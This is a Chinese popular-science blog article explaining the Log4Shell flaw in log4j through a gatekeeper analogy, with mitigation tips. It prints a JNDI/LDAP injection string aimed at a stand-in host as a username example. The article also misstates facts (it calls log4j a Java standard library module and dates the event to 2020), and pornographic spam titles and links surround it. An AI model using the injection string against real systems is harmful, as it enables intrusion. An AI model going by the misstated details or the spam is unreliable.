成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Log4Shell 漏洞到底是個(gè)啥?

安全 漏洞
在 12 月初,爆出了一個(gè)核彈級的系統(tǒng)漏洞,導(dǎo)致眾多互聯(lián)網(wǎng)公司內(nèi)部服務(wù)器被發(fā)現(xiàn),劫持,甚至植入程序。

 [[441965]]

2020 年的12月,勢必成為各個(gè)互聯(lián)網(wǎng)公司年度最深刻的記憶。

在 12 月初,爆出了一個(gè)核彈級的系統(tǒng)漏洞,導(dǎo)致眾多互聯(lián)網(wǎng)公司內(nèi)部服務(wù)器被發(fā)現(xiàn),劫持,甚至植入程序。

盡管目前已經(jīng)出臺了修復(fù)補(bǔ)丁,但這個(gè)出現(xiàn)在最基礎(chǔ)的應(yīng)用最廣泛的模塊 log4j 上的漏洞還是讓我們心有余悸。

為什么這么就沒有被發(fā)現(xiàn),為什么這個(gè)漏洞如此嚴(yán)重,這個(gè)漏洞到底是怎么回事?……

什么樣的漏洞

log4j[1] 是 Java 標(biāo)準(zhǔn)庫的模塊,主要負(fù)責(zé)記錄各種日志,和 Python 中的 logging[2] 類似。

log4j 功能強(qiáng)大,可以支持各種場景的日志記錄需求,比如將日志輸出到終端,將日志記錄到文件,或者發(fā)送到日志服務(wù)器等等,可以說但凡需要記錄日志的地方,log4j 是最佳選擇。

正是由于這一點(diǎn),log4j 才成為最常用的模塊,加上互聯(lián)網(wǎng)公司的基礎(chǔ)設(shè)施都是由 java 構(gòu)建的,所以 log4j 深入到每個(gè)公司的角角落落。

log4j 就像一個(gè)兢兢業(yè)業(yè),任勞任怨的門衛(wèi)老大爺,一絲不茍的記錄著各種來訪信息,以便系統(tǒng)排查問題。

為什么這樣一個(gè)普通的,不起眼的模塊會爆出一個(gè)驚天漏洞呢?

為了說明這個(gè)情況,我借鑒 少數(shù)派 PlatyHsu 的比喻[3]做講解,即使你不會編程,不懂技術(shù)也可以理解。

門衛(wèi)

前面我們說 log4j 是一個(gè)日志模塊,就像一個(gè)門衛(wèi)老大爺,凡是進(jìn)入里面的人,都需要在門衛(wèi)處登記一下。

注意這里的登記不是驗(yàn)證,只是簡單的記錄一下,比如誰,什么時(shí)候,什么目的等等,將這些信息記錄到日志里。

我們經(jīng)??吹降?Web 系統(tǒng)的訪問日志,就是這個(gè)模塊負(fù)責(zé)產(chǎn)生的。

本來一切正常,但是在一些對性能要求很高的系統(tǒng)中,為了不讓日志記錄占用太多的時(shí)間(畢竟,停下來被詢問也是需要時(shí)間的),日志模塊里增加了一個(gè)事后處理的功能。

也就是說當(dāng)訪問者很著急時(shí),只要留下一個(gè)電話,讓門衛(wèi)之后去詢問就好了。

這個(gè)設(shè)計(jì)有諸多好處,類似于異步處理,將記錄日志的過程分離出去,異步處理,這樣就不會影響主要流程的執(zhí)行了。

但是,問題也是出在這里的。

詐騙電話

一些別有用心的人,就利用預(yù)留電話的機(jī)制,留下了詐騙電話。

當(dāng)日志處理模塊,事后整理日志時(shí),發(fā)現(xiàn)有一行寫了打電話詢問,于是就撥打了留下的電話,然后電話那頭說,恭喜你中獎(jiǎng)了,獎(jiǎng)品是一部手機(jī),只要提供地址信息就可以免費(fèi)郵寄過來,等等

這個(gè)日志模塊在完全不知情的情況下,就泄露了企業(yè)內(nèi)部的信息,這些信息包括收件人,內(nèi)部電話等等。

你可能會奇怪,為什么需要日志模塊撥打電話呢?到底是怎么撥打的電話,這里稍作展開一下。

日志模塊不是真的去撥打電話,而是日志記錄的機(jī)制中允許使用模板。

就像 Python 里的字符串模板一樣,在合成字符串時(shí),可以用占位符代替實(shí)際內(nèi)容,根據(jù)實(shí)際情況做出填充例如:

  1. strTemp = "Hello {name}" 
  2.  
  3. print(strTemp.format(name'Lily')) 
  4.  
  5. # 結(jié)果為:Hello Lily 

log4j 為了靈活,使用一個(gè)叫 JNDI[4](Java Naming and Directory Interface)的目錄查詢方法,這個(gè)方法可以支持 LDAP[5](輕型目錄訪問協(xié)議,Lightweight Directory Access Protocol)協(xié)議,對網(wǎng)絡(luò)上的輕型目標(biāo)進(jìn)行查詢。

LDAP 的格式為:

ldap://ldap.example.com/cn=John%20Appleseed

意思是向 ldap.example.com 發(fā)送一個(gè)請求,查詢名為 John Appleseed 這個(gè)人的信息。

重點(diǎn)來了:

LDAP 協(xié)議是可以進(jìn)行網(wǎng)絡(luò)訪問的

到這里我們就會發(fā)現(xiàn),當(dāng)處理日志的程序,執(zhí)行到需要替換日志模板的語句時(shí),恰巧有時(shí)需要通過 LDAP 協(xié)議獲取信息的情況下,就會去訪問這個(gè)地址。

如果別有用心者,將這個(gè)地址作為一個(gè)陷阱,或者作為一個(gè)木馬程序的下載地址,就可以在服務(wù)器毫不知情的情況下,在暴漏服務(wù)器內(nèi)部信息,甚至下載木馬程序到服務(wù)器上。

之前的很多報(bào)道已經(jīng)指出,黑客利用這個(gè)漏洞,在服務(wù)器上安裝了挖礦程序。

如何實(shí)施

對于普通大眾來說,系統(tǒng)漏洞離我們很遠(yuǎn),即使知道這樣的漏洞存在,也不知如何發(fā)揮作用,也是因?yàn)檫@個(gè)原因,導(dǎo)致很多人對漏洞信息不敏感,以為自己不知道如何使用,別人也就不知道,這樣的想法會讓自己常常處于危險(xiǎn)之中。

log4Shell 漏洞,實(shí)施起來簡單地讓人難以置信,甚至不需要使用什么攻擊工具,只需要在平臺的登錄頁面,填寫一個(gè)特別的用戶名即可。

例如在蘋果網(wǎng)站上,將用戶名寫成類似這樣的 ${jndi:ldap://ldap.example.com/a} 形式:

蘋果

當(dāng)然 ldap 網(wǎng)站需要自己設(shè)置或者使用一個(gè)可以提供記錄訪問者信息的服務(wù),就能看到蘋果內(nèi)部的服務(wù)器信息了。

這里還有對 QQ 郵箱的攻擊示例:

QQ郵箱

只要在能訪問系統(tǒng)的地方,加上特殊的注入語句,就可以實(shí)施攻擊了,所以對漏洞的攻擊,并沒有想象中那么復(fù)雜,因此在發(fā)現(xiàn)漏洞時(shí),要及時(shí)打補(bǔ)丁做補(bǔ)救,而不能因?yàn)樽约翰恢绾螌?shí)施而放之不管。

如何消除

當(dāng)我們了解了整個(gè)過程,對于如何防止就很清晰了,如果這個(gè)漏洞沒有被及時(shí)修復(fù),也可以采取一些措施防止信息泄露。

最容易想到的是防止系統(tǒng)對不了解的外網(wǎng)進(jìn)行訪問。

就像給內(nèi)部電話限制撥打長途一樣,對于超出范圍的呼叫做出限制。

第二可以通過參數(shù)設(shè)置禁止系統(tǒng)的中的 JNDI 通信協(xié)議,就是讓日志模塊中的 JNDI 失效。

還有就是下載補(bǔ)丁,修補(bǔ)漏洞。

給我們的啟示

漏洞修補(bǔ)很容易,但是造成這個(gè)漏洞的根源卻難以消除。

我們總是在易用性和安全性之間找到一個(gè)平衡點(diǎn),而增加易用性和功能性的同時(shí),會引入更多的不確定性,特別是當(dāng)依賴層級加大,大量的間接依賴會使問題的復(fù)雜程度超出我們的想象。

log4Shell 因?yàn)槠渚薮蟮钠茐男裕唤?jīng)發(fā)現(xiàn),就被及時(shí)處理了,但可能還存在這樣那樣的依賴導(dǎo)致的問題,繼續(xù)存在。

因此我們在做系統(tǒng)擴(kuò)展功能的時(shí)候,要特別注意因?yàn)橐蕾嚩鴮?dǎo)致的系統(tǒng)問題,很多時(shí)候命名覺得無關(guān)緊要的邊緣的功能,卻成了漏洞躲藏的絕佳場所。

總結(jié)

沒有一個(gè)純凈的環(huán)境,完美的世界,log4Shell 漏洞讓我更清楚地看到這個(gè)世界的真實(shí) —— 漏洞無處不在!

我們能做的就是要提供防護(hù)意識,像預(yù)防新冠病毒一樣做好防護(hù),不迷信,不謠傳,也不大意和忽視。

可能我們平時(shí)寫的代碼效用有限,如果沒有防護(hù)和安全意識,就像裸奔一樣。

幾年前筆者在 github 上發(fā)布一段代碼示例時(shí),誤將實(shí)際環(huán)境的配置信息上傳了上去,過來一周左右,意識到問題時(shí),服務(wù)器已經(jīng)被人注入了挖礦程序!

很難想象一個(gè)默默無聞的更新會被人注意且利用了,所以防護(hù)意識是我們暢游于網(wǎng)絡(luò)的護(hù)身符。

比心!

很難想象一個(gè)默默無聞的更新會被人注意且利用了,所以防護(hù)意識是我們暢游于網(wǎng)絡(luò)的護(hù)身符。

比心!

參考資料

[1]log4j: https://logging.apache.org/log4j/2.x/

[2]logging: https://docs.python.org/zh-cn/3/library/logging.html

[3]少數(shù)派 PlatyHsu 的比喻: https://sspai.com/post/70394

[4]JNDI: https://baike.baidu.com/item/JNDI/3792442

[5]LDAP:https://baike.baidu.com/item/%E8%BD%BB%E5%9E%8B%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AEDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFT56666666666666666666

 

責(zé)任編輯:武曉燕 來源: Python技術(shù)
相關(guān)推薦

2022-01-07 10:02:31

Log4j漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2021-12-15 06:21:29

Log4Shell漏洞網(wǎng)絡(luò)攻擊

2022-01-06 11:55:02

Aquatic PanLog4Shell漏洞

2021-12-17 09:50:21

Log4Shell漏洞勒索軟件

2022-01-10 09:30:33

Java漏洞漏洞網(wǎng)絡(luò)攻擊

2022-01-14 19:12:07

勒索軟件攻擊漏洞

2022-01-28 12:07:29

Log4j漏洞網(wǎng)絡(luò)攻擊

2024-02-07 12:35:00

React并發(fā)模式concurrent

2021-12-14 16:07:04

Log4Shell漏洞黑客

2021-12-22 09:54:48

黑客Log4Shell漏洞攻擊

2022-05-04 08:38:32

Netty網(wǎng)絡(luò)框架

2021-05-11 07:30:58

JNIJavaAPI

2021-01-28 17:41:32

Github網(wǎng)站Pull Reques

2022-04-10 19:26:07

TypeScript類型語法

2024-05-15 16:10:15

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2024-07-12 15:08:23

Python@wraps函數(shù)

2022-03-03 09:51:12

Log4j 漏洞網(wǎng)絡(luò)安全

2024-08-26 14:23:56

2021-12-16 15:11:59

Facebook天秤幣加密貨幣
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 日本一区二区三区在线观看 | 黄色网址在线免费观看 | 亚洲成人一区 | 一区二区三区视频在线免费观看 | 久久精品免费观看 | 国产精品一区久久久 | 欧美精品一区二区三区蜜桃视频 | 欧美在线免费 | 极品销魂美女一区二区 | 少妇精品久久久久久久久久 | 欧美一区二区在线观看 | av中文字幕网站 | 免费能直接在线观看黄的视频 | 狠狠干五月天 | 日韩一区中文字幕 | 99精品久久| av毛片在线免费观看 | 亚洲成人免费视频 | 先锋资源吧 | 日本粉嫩一区二区三区视频 | 99久久国产综合精品麻豆 | 国产综合精品 | 男人天堂网址 | 日本三级黄视频 | 亚洲国产精品日韩av不卡在线 | 国产精品一区二区欧美黑人喷潮水 | 欧美精品在线播放 | 免费国产一区二区 | 偷拍自拍网 | 国产美女高潮 | 日韩欧美亚洲综合 | 免费国产视频 | 91免费在线视频 | 亚洲欧美国产精品久久 | 国产高清毛片 | a毛片视频网站 | av成年人网站 | 日韩欧美一级片 | 免费看国产精品视频 | 看片91 | 欧美一区二区成人 |